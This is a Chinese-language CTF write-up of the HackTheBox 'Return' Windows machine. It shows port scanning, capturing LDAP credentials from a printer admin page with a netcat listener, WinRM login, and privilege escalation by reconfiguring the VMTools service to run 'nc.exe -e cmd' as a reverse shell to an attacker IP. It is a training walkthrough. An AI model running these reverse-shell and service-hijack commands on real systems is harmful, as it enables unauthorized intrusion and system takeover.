> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md).

# Return HackTheBox 复盘

Return HackTheBox 简单 Windows 机器复盘，涵盖网络打印机滥用、滥用 Server Operators 组、服务配置处理，并包含实用的枚举、利用、立足点和 p

{% embed url="<https://app.hackthebox.com/machines/Return>" %}

{% hint style="warning" %}
**技能：**

* 网络打印机滥用
* 滥用 Server Operators 组
* 服务配置处理
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71402cd41fe192ca8132d8e2f0566651d02d1155%2Fimage%20(2439).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6313171953ae797b186563ac61d1f1039c55f10%2Fimage%20(2440).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.108 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95eb14e5bcbeec2d2ab913278948ed687be8cdc5%2Fimage%20(2441).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3253bbf9a317e64d15a912c4c9ef7a6552db8d1b%2Fimage%20(2442).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49679,49682,4969 10.10.11.108 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a748a14bc0696de703fd24b146b98ed6ced56fe%2Fimage%20(2443).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c2b2fb0e8f3085d3919f76ac631a2809f22bc77%2Fimage%20(2444).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### 80 端口：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffa22a9dee14a7dbf1a511893512910b9a48f525%2Fimage%20(2445).png?alt=media" alt=""><figcaption></figcaption></figure>

## 网络打印机滥用

在 80 端口设置中，发现一个指向 `print.return.local` 通过 389 端口被发现。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb8410cedcad5312c5bcf6cae735a85f7287e03d%2Fimage%20(2446).png?alt=media" alt=""><figcaption></figcaption></figure>

**监听 389 端口**/ 通过放置 `netcat` 在 389 端口上

```bash
nc -nlvp 389
```

* 收到一个连接，揭示了某个 `svc-printer` 具有 `1edFg43012!!` 密码的用户的凭据。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02b8396e804b236ebb4223fff2a4a08a00a01c5%2Fimage%20(2447).png?alt=media" alt="" width="542"><figcaption></figcaption></figure>

**通过 WinRM 验证身份**

由于 WinRM 端口（5985）已开放，因此使用 `crackmapexec`:

```bash
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
```

* “pwned” 的响应确认了凭据的有效性。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b304f468cfbcda8c1bc1c5ca143dce3ef8b33bac%2Fimage%20(2448).png?alt=media" alt=""><figcaption></figcaption></figure>

**通过 Evil-WinRM 登录**

使用 `evil-winrm` 以获得一个 shell 会话与 `svc-printer`:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c39073765eb2110533eeaba2b2ec2f259b1e3842%2Fimage%20(2449).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dafc7510d8e39e9bbb3d6e9837a8ba60e07a66dc%2Fimage%20(2450).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升（完整性级别）：

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/integrity-levels>" %}

**成员所属组审计**/ 这个 `whoami /groups` 命令表明该用户属于 `Mandatory Label/High Mandatory Level` 组，这使他能够管理这些服务。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18e36f404ff1222c16351e52fdc5f4516fe5dd1c%2Fimage%20(2451).png?alt=media" alt=""><figcaption></figcaption></figure>

**用于权限提升的服务操控**/ 用户可以修改某个服务并重启它，以便以更高权限执行命令。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a175403738187ab6a83c6107d37e3c756584a733%2Fimage%20(1102).png?alt=media" alt=""><figcaption></figcaption></figure>

**创建服务**/ 尝试使用 `sc.exe`创建一个反向 shell 服务，但没有必要的权限：

<pre class="language-powershell"><code class="lang-powershell"><strong>sc.exe create reverse binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce74cefa806ec907e427c9e9b0a5209cd9df522f%2Fimage%20(1105).png?alt=media" alt=""><figcaption></figcaption></figure>

**修改 VMTools 服务**/ 要操作现有服务， `nc.exe` 被传输到目标机器，然后 `VMTools` 服务被修改为运行反向 shell：

* **传输 Netcat**

```bash
cp /home/jordan/Desktop/htb/artic/scripts/netcat/nc.exe .
```

```powershell
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fac5323b1dafc1f5090ae16e11ec0f40d818681%2Fimage%20(1104).png?alt=media" alt=""><figcaption></figcaption></figure>

这里的思路是将某个服务的可执行文件重定向为执行反向 shell 命令；如果该服务以 `SYSTEM` 权限运行，你可能会获得一个高权限会话。

```powershell
sc.exe config VMTools binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-63d6c77b2eceaf7740278e4acb6354c22d0a2d1f%2Fimage%20(1107).png?alt=media" alt=""><figcaption></figcaption></figure>

**重启服务**/ 配置完成后，重启服务以启动 shell：

<pre class="language-powershell"><code class="lang-powershell">sc.exe stop VMTools
<strong>sc.exe start VMTools
</strong></code></pre>

监听 443 端口以接收传入连接：

```bash
sudo rlwrap nc -nlvp 443
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebba3c13ebabf1b65a9f8550d04571e08324d213%2Fimage%20(1106).png?alt=media" alt=""><figcaption></figcaption></figure>

### root flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86edd39d789abd8d972eb16cbaceafadfd0b44c0%2Fimage%20(1108).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03f4ee0456c44d183c89aa0e540c874c552dd4f4%2Fimage%20(1109).png?alt=media" alt="" width="536"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
